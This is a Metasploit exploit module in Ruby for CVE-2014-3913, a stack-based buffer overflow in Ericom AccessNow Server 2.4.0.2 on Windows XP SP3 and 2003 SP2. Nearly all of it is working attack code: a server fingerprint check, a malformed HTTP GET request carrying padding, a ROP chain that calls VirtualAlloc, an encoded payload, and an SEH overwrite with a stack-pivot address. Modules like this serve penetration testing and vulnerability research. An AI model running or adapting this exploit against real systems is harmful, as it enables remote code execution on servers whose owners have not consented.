Ericom AccessNow Server Buffer Overflow

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##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = NormalRanking

 

  include Msf::Exploit::Remote::HttpClient

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Ericom AccessNow Server Buffer Overflow',

      'Description'    => %q{

        This module exploits a stack based buffer overflow in Ericom AccessNow Server. The

        vulnerability is due to an insecure usage of vsprintf with user controlled data,

        which can be triggered with a malformed HTTP request. This module has been tested

        successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003

        Server SP2.

      },

      'Author'         =>

        [

          'Unknown', # Vulnerability Discovery

          'juan vazquez', # Metasploit Module

        ],

      'References'     =>

        [

          ['ZDI', '14-160'],

          ['CVE', '2014-3913'],

          ['BID', '67777'],

          ['URL','http://www.ericom.com/security-ERM-2014-610.asp']

        ],

      'Privileged'     => true,

      'Platform'       => 'win',

      'Arch'           => ARCH_X86,

      'Payload'        =>

        {

          'Space'    => 4096,

          'BadChars' => "\x00\x0d\x0a",

          'DisableNops' => true,

          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

        },

      'Targets'        =>

        [

          [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',

            {

              'RopOffset' => 62,

              'Offset' => 30668,

              'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll

            }

          ]

        ],

      'DisclosureDate' => 'Jun 2 2014',

      'DefaultTarget'  => 0))

 

    register_options([Opt::RPORT(8080)], self.class)

  end

 

 

  def check

    res = send_request_cgi({

      'uri' => '/AccessNow/start.html'

    })

 

    unless res && res.code == 200 && res.headers['Server']

      return Exploit::CheckCode::Safe

    end

 

    if res.headers['Server'] =~ /Ericom AccessNow Server/

      return Exploit::CheckCode::Appears # Ericom AccessNow 2.4

    elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/

      return Exploit::CheckCode::Detected # Ericom AccessNow 3

    end

 

    Exploit::CheckCode::Unknown

  end

 

  def exploit_uri

    uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message

    uri << rand_text(target['RopOffset'])

    uri << create_rop_chain

    uri << payload.encoded

    uri << rand_text(target['Offset'] - uri.length)

    uri << rand_text(4) # nseh

    uri << [target.ret].pack("V") # seh

 

    uri

  end

 

  def exploit

    print_status("#{peer} - Sending malformed request...")

    send_request_raw({

      'method'  => 'GET',

      'uri'     => exploit_uri,

      'encode'  => false

    }, 1)

  end

 

  def create_rop_chain

    # rop chain generated with mona.py - www.corelan.be

    rop_gadgets =

      [

        0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3

        0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3

        0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]

        0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]

        0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]

        0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]

        0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]

        0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]

        0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]

        0xffffffff, # Value to negate, will become 0x00000001

        0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]

        0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]

        0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]

        0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)

        0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]

        0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]

        0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]

        0xffffffc0, # Value to negate, will become 0x00000040

        0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]

        0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]

        0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]

        0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]

        0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]

        0x90909090, # nop

        0x1052cfce  # PUSHAD # RETN [AccessNowAccelerator32.dll]

      ].pack("V*")

 

    rop_gadgets

  end

 

end